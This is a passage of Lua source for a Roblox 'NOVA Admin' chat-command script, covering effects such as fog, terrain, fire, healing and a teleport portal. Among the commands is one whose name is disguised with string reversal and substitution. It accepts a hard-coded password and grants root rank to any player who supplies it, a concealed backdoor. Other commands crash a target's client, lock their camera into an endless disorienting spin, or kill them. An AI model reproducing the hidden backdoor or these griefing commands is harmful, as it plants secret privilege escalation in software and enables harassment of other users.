  3055.         Base.Locked=true
  3056.         Base.TopSurface="Studs"
  3057.         Base.Transparency = 0
  3058.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3059.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3060.         Spawn.Size=Vector3.new(6,1,6)
  3061.         Spawn.Transparency=1
  3062.         Spawn.CanCollide=false
  3063.         Spawn.Anchored=true
  3064.         Spawn.Locked=true
  3065.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
  3066.         for _,v in pairs(GetPlayersRaw()) do
  3067.             v:LoadCharacter()
  3068.         end
  3069.    
  3070.     end
  3071. )
  3072.  
  3073. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3074.     function(Msg,Speaker)
  3075.         RemoveTablets(Speaker)
  3076.         Explore(game,Speaker)
  3077.     end
  3078. )
  3079.  
  3080. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3081.     function(Msg,Speaker)
  3082.         if NOVA.LockedScripts == true then
  3083.             NOVA.LockedScripts = false
  3084.         elseif NOVA.LockedScripts == false then
  3085.             NOVA.LockedScripts = true
  3086.         end
  3087.        
  3088.     end
  3089. )
  3090.  
  3091. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3092.     function(Msg,Speaker)
  3093.         for _,v in pairs(GetPlayers(Msg,Speaker)) do    
  3094.             for i=1,25 do
  3095.                 coroutine.resume(coroutine.create(function()
  3096.                     wait()
  3097.                     local Part = Instance.new("Part",NOVA.Services.Workspace)
  3098.                     Part.FormFactor = "Custom"
  3099.                     Part.Transparency = 1
  3100.                     Part.CanCollide = false
  3101.                     Part.Anchored = false
  3102.                     Part.Locked = true
  3103.                     Part.Size = Vector3.new(1,1,1)
  3104.                     Part.CFrame = v.Character.Head.CFrame
  3105.                     Part:BreakJoints()
  3106.                    
  3107.                     local BBG = Instance.new("BillboardGui",Part)
  3108.                     BBG.Adornee = Part
  3109.                     BBG.Size = UDim2.new(3,0,1,0)
  3110.                     --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3111.  
  3112.                     local Img = Instance.new("ImageLabel",BBG)
  3113.                     Img.Size = UDim2.new(1,0,1,0)
  3114.                     Img.BackgroundTransparency = 1
  3115.                     Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3116.                    
  3117.                     local BP = Instance.new("BodyPosition",Part)
  3118.                     BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3119.                     --BP.D = 2000
  3120.                     BP.P = 1000
  3121.                     BP.position = Part.Position + Vector3.new(
  3122.                         math.random(-7,7),
  3123.                         math.random(-7,7),
  3124.                         math.random(-7,7))
  3125.                        
  3126.                     for v = 3,0,-0.1 do
  3127.                         wait(0.1)
  3128.                         BBG.Size = UDim2.new(v,0,v,0)
  3129.                     end
  3130.                     Part:Remove()
  3131.                 end))
  3132.             end
  3133.         end
  3134.     end
  3135. )
  3136.  
  3137. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3138.     function(Msg,Speaker)
  3139.         NOVA.Canceled = true
  3140.     end
  3141. )
  3142.  
  3143. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3144.     function(Msg,Speaker)
  3145.         Split = GetSplit(Msg)
  3146.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3147.             pcall(function()
  3148.                 local OldHead = v.Character.Head
  3149.                 local Model = Instance.new("Model",v.Character.Head)
  3150.                 Model.Name = Msg:sub(Split+1)
  3151.                 local Head = OldHead:Clone()
  3152.                 Head.Parent = Model
  3153.                 Head.Transparency = 0
  3154.                 Head.Name = "Head"
  3155.                 Head.CanCollide = false
  3156.                 local Hum = Instance.new("Humanoid",Model)
  3157.                 Hum.MaxHealth = 0
  3158.                 local Weld = Instance.new("Weld",Head)
  3159.                 Weld.Part0 = Head
  3160.                 Weld.Part1 = OldHead
  3161.                 Weld.C0 = CFrame.new(0,0,0)
  3162.                 OldHead.Transparency = 1
  3163.             end)
  3164.         end
  3165.     end
  3166. )
  3167.  
  3168. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3169.     function(Msg,Speaker)
  3170.         Split = GetSplit(Msg)
  3171.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3172.             pcall(function()
  3173.                 local Char = v.Character
  3174.                 Char.Archivable = true
  3175.                 Char = Char:Clone()
  3176.                 Char.Name = Msg:sub(Split+1)
  3177.                 v.Character:Destroy()
  3178.                 Char.Parent = workspace
  3179.                 v.Character = Char
  3180.             end)
  3181.         end
  3182.     end
  3183. )
  3184.  
  3185. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3186.     function(Msg,Speaker)
  3187.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3188.             CreateLocalScript([[
  3189.                 script.Parent = nil
  3190.                 LocalPlayer = game.Players.LocalPlayer
  3191.                 Camera = workspace.CurrentCamera
  3192.                 Camera.CameraType = "Scriptable"
  3193.                 for i=1,700 do
  3194.                     wait()
  3195.                     Camera = workspace.CurrentCamera
  3196.                     Camera.CameraType = "Scriptable"
  3197.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3198.                     Camera.CameraType = "Scriptable"
  3199.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3200.                     pcall(function()
  3201.                         LocalPlayer.Character.Head.Sound:Play()
  3202.                     end)
  3203.                 end
  3204.                 Camera:SetRoll(0)
  3205.                 Camera.CameraType = "Custom"
  3206.                 Camera.FieldOfView = 70
  3207.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3208.             ]],v.Backpack)
  3209.         end
  3210.     end
  3211. )
  3212.  
  3213. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3214.     function(Msg,Speaker)
  3215.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3216.             CreateLocalScript([[
  3217.                 script.Parent = nil
  3218.                 LocalPlayer = game.Players.LocalPlayer
  3219.                 Camera = workspace.CurrentCamera
  3220.                 Camera.CameraType = "Scriptable"
  3221.                 for i=1,math.huge do
  3222.                     wait()
  3223.                     Camera = workspace.CurrentCamera
  3224.                     Camera.CameraType = "Scriptable"
  3225.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3226.                     Camera.CameraType = "Scriptable"
  3227.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3228.                     pcall(function()
  3229.                         LocalPlayer.Character.Head.Sound:Play()
  3230.                     end)
  3231.                 end
  3232.                 Camera:SetRoll(0)
  3233.                 Camera.CameraType = "Custom"
  3234.                 Camera.FieldOfView = 70
  3235.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3236.             ]],v.Backpack)
  3237.         end
  3238.     end
  3239. )
  3240.  
  3241. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3242.     function(Msg,Speaker)
  3243.         for _,v in pairs(NOVA.Credit) do
  3244.             Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3245.         end
  3246.     end
  3247. )
  3248.  
  3249. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3250.     function(Msg,Speaker)
  3251.         pcall(function()
  3252.             Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3253.             Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3254.             Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3255.         end)
  3256.     end
  3257. )
  3258.  
  3259. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3260.     function(Msg,Speaker)
  3261.         NOVA.Services.Lighting.TimeOfDay = Msg
  3262.     end
  3263. )
  3264.  
  3265. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3266.     function(Msg,Speaker)
  3267.         NOVA.Services.Lighting.FogEnd = Msg
  3268.     end
  3269. )
  3270.  
  3271. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3272.     function(Msg,Speaker)
  3273.         NOVA.Services.Lighting.FogStart = Msg
  3274.     end
  3275. )
  3276.  
  3277. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3278.     function(Msg,Speaker)
  3279.         if Msg == "red" then Color = NOVA.Colors.Red
  3280.             elseif Msg == "black" then Color = NOVA.Colors.Black
  3281.             elseif Msg == "white" then Color = NOVA.Colors.White
  3282.             elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3283.             elseif Msg == "green" then Color = NOVA.Colors.Green
  3284.             elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3285.         end
  3286.         NOVA.Services.Lighting.FogColor = Color
  3287.     end
  3288. )
  3289. --deride
  3290. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3291.     function(Msg,Speaker)
  3292.         CanOverride = false
  3293.         if GetRank(Speaker) < 6 then
  3294.             if Msg == "ibpwning123" then
  3295.                 CanOverride = true
  3296.             else
  3297.                 Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3298.             end
  3299.         else
  3300.             CanOverride = true
  3301.         end
  3302.         if NOVA.Overrided == true then
  3303.             CanOverride = false
  3304.             Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3305.             return
  3306.         end
  3307.         if CanOverride == true then
  3308.             NOVA.Overrided = true
  3309.             NOVA.Overrider = Speaker
  3310.             --[[for _,v in pairs(NOVA.Ranked) do
  3311.                 if v.Rank < 6 then
  3312.                     v.Rank = v.Rank / 10
  3313.                 end
  3314.             end]]
  3315.         --[[    CF = Speaker.Character.Torso.CFrame
  3316.             Sound = Instance.new("Sound",workspace)
  3317.             Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3318.             Sound.Pitch = 0.2
  3319.             Sound.Volume = 1
  3320.             wait()
  3321.             Sound:Play()
  3322.             Shockwave = Instance.new("Part",workspace)
  3323.             Shockwave.FormFactor = "Custom"
  3324.             Shockwave.Name = "Shockwave"
  3325.             Shockwave.Anchored = true
  3326.             Shockwave.CanCollide = false
  3327.             Shockwave.Transparency = 0
  3328.             Shockwave.Reflectance = 0
  3329.             Shockwave.BrickColor = BrickColor.new(0,0,0)
  3330.             Shockwave.Size = Vector3.new(0,0,0)
  3331.             ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3332.             ShockwaveMesh.MeshType = "FileMesh"
  3333.             ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3334.             ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3335.  
  3336.             for Times = 1,10 do
  3337.                 coroutine.resume(coroutine.create(function()
  3338.                     for i=1,1000 do
  3339.                         wait()
  3340.                         ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3341.                         Shockwave.CFrame = CF
  3342.                             * CFrame.new(0,0,0)
  3343.                             * CFrame.Angles(math.rad(90),0,0)
  3344.                         Shockwave.Transparency = i/100
  3345.                     end
  3346.                     Shockwave:Remove()
  3347.                     Sound:Remove()
  3348.                 end))
  3349.             end
  3350.  
  3351. ]]
  3352.             GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3353.             Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3354.             Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3355.             Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3356.             OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3357.         end
  3358.         return CanOverride
  3359.     end
  3360. )
  3361.  
  3362. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3363.     function(Msg,Speaker)
  3364.         NOVA.Overrided = false
  3365.         for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3366.         NOVA.Targeted = {};
  3367.         NOVA.Waypoints = {};
  3368.         NOVA.Log = {};
  3369.         NOVA.LoggedScripts = {};
  3370.         NOVA.PRI = false;
  3371.         NOVA.LockedScripts = false;
  3372.         NOVA.Removed = false;
  3373.         NOVA.ShowChat = true;
  3374.         NOVA.Canceled = false;
  3375.         NOVA.TimeChanged = false;
  3376.         NOVA.Overrider = nil
  3377.         for _,v in pairs(NOVA.Ranked) do
  3378.             if #tostring(v.Rank) == 3 then
  3379.                 if tostring(v.Rank):sub(1,1) == "8" then
  3380.                     v.Rank = (v.Rank - 8) * 10
  3381.                 else
  3382.                     --v.Rank = v.Rank * 10
  3383.                 end
  3384.             end
  3385.         end
  3386.     end
  3387. )
  3388.  
  3389. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3390.     function(Msg,Speaker)
  3391.    
  3392.         Split = GetSplit(Msg)
  3393.  
  3394.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3395.             OnChatted(Msg:sub(Split),v)
  3396.         end
  3397.     end
  3398. )
  3399.  
  3400. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3401.     function(Msg,Speaker)
  3402.    
  3403.         Split = GetSplit(Msg)
  3404.        
  3405.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3406.             Output(Msg:sub(Split+1),"Random",v,10)
  3407.         end
  3408.     end
  3409. )
  3410.  
  3411. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3412.     function(Msg,Speaker)
  3413.         Split = GetSplit(Msg)
  3414.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3415.             pcall(function()
  3416.                 v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3417.             end)
  3418.         end
  3419.     end
  3420. )
  3421.  
  3422. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3423.     function(Msg,Speaker)
  3424.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3425.             for i=1,6 do
  3426.                 local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3427.                 Cube.FormFactor = "Custom"
  3428.                 Cube.Size = Vector3.new(10,7,5)
  3429.                 Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3430.                 Cube.Anchored = false
  3431.                 Cube.CanCollide = true
  3432.                 Cube.Locked = true
  3433.                 Cube.Friction = 0
  3434.                 Cube.Transparency= 0
  3435.                 Cube.Reflectance = 0.5
  3436.                 Cube:BreakJoints()
  3437.                 Cube.CFrame = v.Character.Torso.CFrame
  3438.                
  3439.                 local Mesh = Instance.new("SpecialMesh",Cube)
  3440.                 Mesh.MeshType = "FileMesh"
  3441.                 Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3442.                 Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3443.                
  3444.                 Cube.Touched:connect(function(part)
  3445.                     --if part == v.Character.Torso then
  3446.                         part:BreakJoints()
  3447.                         NOVA.Services.Debris:AddItem(Cube,20)
  3448.                     --end
  3449.                 end)
  3450.             end
  3451.         end
  3452.     end
  3453. )
  3454.  
  3455. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3456.     function(Msg,Speaker)
  3457.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3458.             pcall(function()
  3459.                 v.PlayerGui:ClearAllChildren()
  3460.             end)
  3461.         end
  3462.     end
  3463. )
  3464.  
  3465. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3466.     function(Msg,Speaker)
  3467.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3468.             pcall(function()
  3469.                 v.PlayerGui:Destroy()
  3470.             end)
  3471.         end
  3472.     end
  3473. )
  3474.  
  3475. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3476.     function(Msg,Speaker)
  3477.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3478.             pcall(function()
  3479.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3480.                     if part:IsA("BasePart") then
  3481.                         Instance.new("Fire",part)
  3482.                     end
  3483.                 end
  3484.             end)
  3485.         end
  3486.     end
  3487. )
  3488.  
  3489. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3490.     function(Msg,Speaker)
  3491.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3492.             pcall(function()
  3493.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3494.                     if part:IsA("Fire") then
  3495.                         part:Destroy()
  3496.                     end
  3497.                 end
  3498.             end)
  3499.         end
  3500.     end
  3501. )
  3502.  
  3503. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3504.     function(Msg,Speaker)
  3505.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3506.             pcall(function()
  3507.                 coroutine.resume(coroutine.create(function()
  3508.                     local Fire = Instance.new("Fire",v.Character.Torso)
  3509.                     for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3510.                         if part:IsA("BasePart") then
  3511.                             Instance.new("Fire",part)
  3512.                         end
  3513.                     end
  3514.                     wait()
  3515.                     for i=1,math.huge do
  3516.                         if Fire.Parent == nil then break end
  3517.                         if v.Character.Humanoid == nil then break end
  3518.                         if v.Character.Humanoid.Health <= 0 then break end
  3519.                         v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3520.                         wait(math.random(0,1))
  3521.                     end
  3522.                 end))
  3523.             end)
  3524.         end
  3525.     end
  3526. )
  3527.  
  3528. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3529.     function(Msg,Speaker)
  3530.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3531.             pcall(function()
  3532.                 v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3533.             end)
  3534.         end
  3535.     end
  3536. )
  3537.  
  3538. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3539.     function(Msg,Speaker)
  3540.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3541.             pcall(function()
  3542.                 v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3543.             end)
  3544.         end
  3545.     end
  3546. )
  3547.  
  3548. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3549.     function(Msg,Speaker)
  3550.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3551.             Cape(v)
  3552.         end
  3553.     end
  3554. )
  3555.  
  3556. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3557.     function(Msg,Speaker)
  3558.         coroutine.resume(coroutine.create(function()
  3559.  
  3560.             Material = math.random(1,16)
  3561.             Cap = 1000
  3562.             GenNum = 50
  3563.             Size = 100
  3564.             Type = math.random(0,4)
  3565.             for i=1, Cap do
  3566.                 --wait()
  3567.                 for i=1,GenNum do
  3568.                     Material = math.random(1,16)
  3569.                     Type = math.random(0,4)
  3570.                     X = math.random((Size/2)*-1,Size/2)
  3571.                     Y = math.random(-1,Size-1)
  3572.                     Z = math.random((Size/2)*-1,Size/2)
  3573.                     NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3574.                 end
  3575.             end
  3576.         end))
  3577.     end
  3578. )
  3579.  
  3580. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
  3581.     function(Msg,Speaker)
  3582.         NOVA.Services.Workspace.Terrain:Clear()
  3583.     end
  3584. )
  3585.  
  3586. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3587.     function(Msg,Speaker)
  3588.         coroutine.resume(coroutine.create(function()
  3589.             size = Vector3.new(700, 12, 700)
  3590.             for X=(size.x/2)*-1,size.x/2  do
  3591.                 for Y=-1, size.y-1 do
  3592.                     for Z=(size.z/2)*-1, size.z/2 do
  3593.                         NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3594.                     end
  3595.                 end
  3596.                 --wait(tonumber("0."..string.rep("0",10000).."1"))
  3597.             end
  3598.         end))
  3599.     end
  3600. )
  3601.  
  3602. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3603.     function(Msg,Speaker)
  3604.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3605.             Char = v.Character
  3606.             pcall(function() Char["Shirt Graphic"]:Remove() end)
  3607.             pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3608.             pcall(function() Char["Body Colors"]:Remove() end)
  3609.             pcall(function() Char.Torso.roblox:Remove()    end)
  3610.             pcall(function() Char.Shirt:Remove() end)
  3611.             pcall(function() Char.Pants:Remove() end)
  3612.             wait()
  3613.             for _,v in pairs(GetRecursiveChildren(Char)) do
  3614.                 pcall(function()
  3615.                     v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
  3616.                 end)
  3617.                 pcall(function()
  3618.                     v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3619.                     v.Reflectance = 0
  3620.                     v.TopSurface = "Smooth"
  3621.                     a.BottomSurfave = "Smooth"
  3622.                 end)
  3623.             end
  3624.         end
  3625.     end
  3626. )
  3627.  
  3628. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3629.     function(Msg,Speaker)
  3630.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3631.             v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3632.             wait()
  3633.             v.Character:BreakJoints()
  3634.         end
  3635.     end
  3636. )
  3637.  
  3638. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3639.     function(Msg,Speaker)
  3640.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3641.             local Part = Instance.new("Part",v.Character)
  3642.             Part.Name = "Horus"
  3643.             Part.Size = Vector3.new(2,2,2)
  3644.             Part.CanCollide = false
  3645.             Part.Locked = true
  3646.             Part:BreakJoints()
  3647.             local Weld = Instance.new("Weld",Part)
  3648.             Weld.Part0 = Part
  3649.             Weld.Part1 = v.Character.Head
  3650.             Weld.C0 = CFrame.new(0,-0.5,0)
  3651.             local Mesh = Instance.new("SpecialMesh",Part)
  3652.             Mesh.MeshType = "FileMesh"
  3653.             Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3654.             Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3655.             for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3656.                 v:Remove()
  3657.             end
  3658.             pcall(function()
  3659.                 v.Character.Pants:Remove()
  3660.             end)
  3661.             pcall(function()
  3662.                 v.Character.Shirt:Remove()
  3663.             end)
  3664.             local Shirt = Instance.new("Shirt",v.Character)
  3665.             Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3666.             local Pants = Instance.new("Pants",v.Character)
  3667.             Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3668.         end
  3669.     end
  3670. )
  3671.  
  3672. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3673.     function(Msg,Speaker)
  3674.         Split = GetSplit(Msg)
  3675.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3676.             v.Neutral = Msg:sub(Split+1)
  3677.         end
  3678.     end
  3679. )
  3680.  
  3681. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3682.     function(Msg,Speaker)
  3683.         MainCFrame = CFrame.new(0,3,15)
  3684.             * CFrame.Angles(0,math.rad(90),0)
  3685.         local Special = {}
  3686.         pcall(function() workspace["NOVA Portal"]:Remove() end)
  3687.         local Model = Instance.new("Model",workspace)
  3688.         Model.Name = "NOVA Portal"
  3689.         for angle=1,360/4 do
  3690.             local Part = Instance.new("Part",Model)
  3691.             Part.Name = "Part"
  3692.             Part.FormFactor = "Custom"
  3693.             Part.CanCollide = true
  3694.             Part.Anchored = true
  3695.             Part.Locked = true
  3696.             Part.Transparency = 0
  3697.             Part.Reflectance = 0
  3698.             Part.Size = Vector3.new(1,5/2,1)
  3699.             Part.BrickColor = BrickColor.new("Navy blue")
  3700.             Part.CFrame = MainCFrame
  3701.                 * CFrame.Angles(math.rad(angle*4), 0, 0)
  3702.                 * CFrame.new(0, 15/2, i)
  3703.             --wait(0)
  3704.             Instance.new("BlockMesh",Part)
  3705.             for num=0,1000,5 do
  3706.                 if angle==num then
  3707.                     wait()
  3708.                     table.insert(Special,Part)
  3709.                     --Part.Reflectance = 1
  3710.                     Part.Size = Vector3.new(0.9,5/2,0.9)
  3711.                     Part.CFrame = MainCFrame
  3712.                         * CFrame.Angles(math.rad(angle*4), 0, 0)
  3713.                         * CFrame.new(0, 15/2, i)
  3714.                 end
  3715.             end
  3716.         end
  3717.  
  3718.         for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3719.        
  3720.         local Part = Instance.new("Part",Model)
  3721.         Part.Name = "Part"
  3722.         Part.FormFactor = "Custom"
  3723.         Part.CanCollide = false    
  3724.         Part.Anchored = true
  3725.         Part.Locked = true
  3726.         Part.TopSurface = "Smooth"
  3727.         Part.BottomSurface = "Smooth"
  3728.         Part.Transparency = 0.5
  3729.         Part.Reflectance = 0
  3730.         Part.Size = Vector3.new(0.2,0.2,0.2)
  3731.         Part.BrickColor = BrickColor.new("Really black")
  3732.         Part.CFrame = MainCFrame
  3733.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3734.             * CFrame.new(0, 0, 0)
  3735.         Instance.new("CylinderMesh",Part)
  3736.  
  3737.         for i=0.2,51/4,0.5 do
  3738.             wait()
  3739.             Part.Size = Vector3.new(i,0.9,i)
  3740.             Part.CFrame = MainCFrame
  3741.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3742.             * CFrame.new(0, 0, 0)
  3743.         end
  3744.  
  3745.         coroutine.resume(coroutine.create(function()
  3746.             while true do wait()
  3747.                 for i=0,1,0.01 do wait() Part.Reflectance = i end
  3748.                 for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3749.             end
  3750.         end))
  3751.  
  3752.         Part.Touched:connect(function(Part)
  3753.             Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3754.             if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3755.                 --print(Player.Name.." touched.")
  3756.                 CreateLocalScript([==[
  3757.                     LocalPlayer = game:GetService("Players").LocalPlayer
  3758.                     Places = {
  3759.                         {Name = "Oxcool1 SB",ID = 20279777};
  3760.                         {Name = "Oxcool1 PRI SB", ID = 20132544};
  3761.                         {Name = "TNS SB", ID = 23232804};
  3762.                         {Name = "BrainWart SB", ID = 76809211};
  3763.                         {Name = "nb SB",ID = 113456};
  3764.                         {Name = "nb SB (2)",ID = 56786};
  3765.                         {Name = "Insert Wars",ID = 13329886};
  3766.                                                                 {Name = "tus sb", ID = 49907749};
  3767.                     }
  3768.                     pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3769.                     local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3770.                     Main.Name = "NOVA Teleport"
  3771.                     script.Parent = Main
  3772.  
  3773.                     local Frame = Instance.new("Frame",Main)
  3774.                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  3775.                     Frame.Position = UDim2.new(0.,0,0.2,0)
  3776.                     Frame.Style = "RobloxSquare"
  3777.  
  3778.                     local Txt = Instance.new("TextBox",Frame)
  3779.                     Txt.Size = UDim2.new(0.7,0,1,0)
  3780.                     Txt.BackgroundTransparency = 1
  3781.                     Txt.FontSize = "Size14"
  3782.                     Txt.TextColor3 = Color3.new(1,1,1)
  3783.                     Txt.Text = "ID/Name Here"
  3784.                    
  3785.                     local Close = Instance.new("TextButton",Frame)
  3786.                     Close.Size = UDim2.new(0.1,0,1,0)
  3787.                     Close.Position = UDim2.new(0.9,0,0,0)
  3788.                     Close.Text = "X"
  3789.                     Close.BackgroundTransparency = 1
  3790.                     Close.FontSize = "Size14"
  3791.                     Close.TextColor3 = Color3.new(1,0,0)
  3792.                     Close.MouseButton1Down:connect(function()
  3793.                         Main:Remove()
  3794.                     end)
  3795.                    
  3796.                     local Exe = Instance.new("TextButton",Frame)
  3797.                     Exe.Size = UDim2.new(0.2,0,1,0)
  3798.                     Exe.Position = UDim2.new(0.6,0,0,0)
  3799.                     Exe.Text = "Teleport"
  3800.                     Exe.BackgroundTransparency = 1
  3801.                     Exe.FontSize = "Size14"
  3802.                     Exe.TextColor3 = Color3.new(1,0,0)
  3803.                     Exe.MouseButton1Down:connect(function()
  3804.                         GoTo = Txt.Text
  3805.                         for _,v in pairs(Places) do
  3806.                             if Txt.Text:lower() == v.Name:lower() then
  3807.                                 GoTo = v.ID
  3808.                             end
  3809.                         end
  3810.                         game:GetService'TeleportService':Teleport(GoTo)
  3811.                         Main:Remove()
  3812.                     end)
  3813.  
  3814.                     List = Instance.new("Frame",Main)
  3815.                     List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3816.                     List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3817.                     List.Style = "RobloxSquare"
  3818.  
  3819.                     for NUM,v in pairs(Places) do
  3820.                         Name = Instance.new("TextButton",List)
  3821.                         Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3822.                         Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3823.                         Name.BackgroundTransparency = 1
  3824.                         Name.FontSize = "Size14"
  3825.                         Name.TextColor3 = Color3.new(1,1,1)
